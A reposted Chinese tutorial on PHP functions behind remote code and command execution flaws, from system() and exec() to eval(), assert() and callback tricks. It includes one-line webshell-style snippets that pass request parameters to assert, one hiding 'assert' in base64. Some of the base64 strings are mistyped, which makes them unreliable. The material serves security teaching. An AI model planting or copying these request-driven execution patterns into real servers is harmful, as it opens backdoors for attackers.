0


RCE漏洞函数

一、rce漏洞概述

     在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

二、常见RCE漏洞函数

1.系统命令执行函数

(1) system():能将字符串作为OS命令执行,且返回命令执行结果;自带有“输出”,直接输出即可实现。

实例测试:

在文件中写入结果 :

<?php system('echo "<?php phpinfo();//" > 11111.php');

结果实现 : 先输入 127.0.0.1/demo.php 页面创建成功后输入 127.0.0.1/11111.php 即可

(2)exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);没有“输出” 需要自己写入,才可实现。

实例测试:

<?php // 输出运行中的 php/httpd 进程的创建者用户名 // (在可以执行 "whoami" 命令的系统上) $output=null; $retval=null; exec('whoami', $output, $retval); echo "Returned with status $retval and output:\n"; print_r($output); ?>

结果实现:

(3)passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;与system() 类似,也可以直接输出。

实例测试:

<?php passthru("whoami"); ?>

(4)shell_exec():能将字符串作为OS命令执行,通过 shell 执行命令并将完整的输出以字符串的方式返回。

实例测试:

<?php $output = shell_exec('whoami'); echo "
$output
"; ?>

(5)popen():打开进程文件指针,fread管道 ,打开了一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

注:有一个模式

'r'

表示阅读,

'w'

表示写入。

在 Windows 上,popen() 默认是文本模式,即任何从管道中读取/写入的

\n

字符都将转换为

\r\n

。如果避免这种情况,可以通过将

mode

设置为

'rb'

'wb'

来强制执行二进制模式。

实例测试:

<?php $handle = popen('whoami', 'r'); echo "'$handle'; " . gettype($handle) . "\n"; $read = fread($handle, 2096); echo $read; pclose($handle); ?>

(6)proc_open():与popen()类似,但是 proc_open() 提供了更加强大的控制程序执行的能力。

pcntl_exec():在当前进程空间执行指定程序;

<?php $descriptorspec = array( 0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据 1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据 2 => array("file", "d:/aaa.txt", "a") // 标准错误,写入到一个文件 ); $process = proc_open('whoami', $descriptorspec, $pipes); if (is_resource($process)) { $output =stream_get_contents($pipes[1]); fclose($pipes[1]); $returnValue =proc_close($process); echo "0utput:".$output; echo "Return Value:".$returnValue; } ?>

注:反引号:反引号内的字符串会被解析为OS命令;

2.代码执行函数

(1)eval():将字符串作为php代码执行;

(2)assert():将字符串作为php代码执行;

(3)call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

<?php call_user_func('assert',$_REQUEST['pass']) ?>

127.0.0.1/demo.php?pass=phpinfo()

(4)array_filter():使用回调函数过滤数组的元素

base64 :assert 编码 YXzZXJ0

<?php $e = $_REQUEST['e']; //编码assert $arr = array($_POST['pass'],); //phpinfo() array_filter($arr,base64_decode($e)); //'assert' ?>

127.0.0.1/demo.php?pass=phpinfo()&e=YXNzZXJO

注:可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

标签: 安全

本文转载自: https://blog.csdn.net/liyuanxiaocilang/article/details/141115043
版权归原作者 雷柏年 所有, 如有侵权,请联系我们删除。

“RCE漏洞函数”的评论:

还没有评论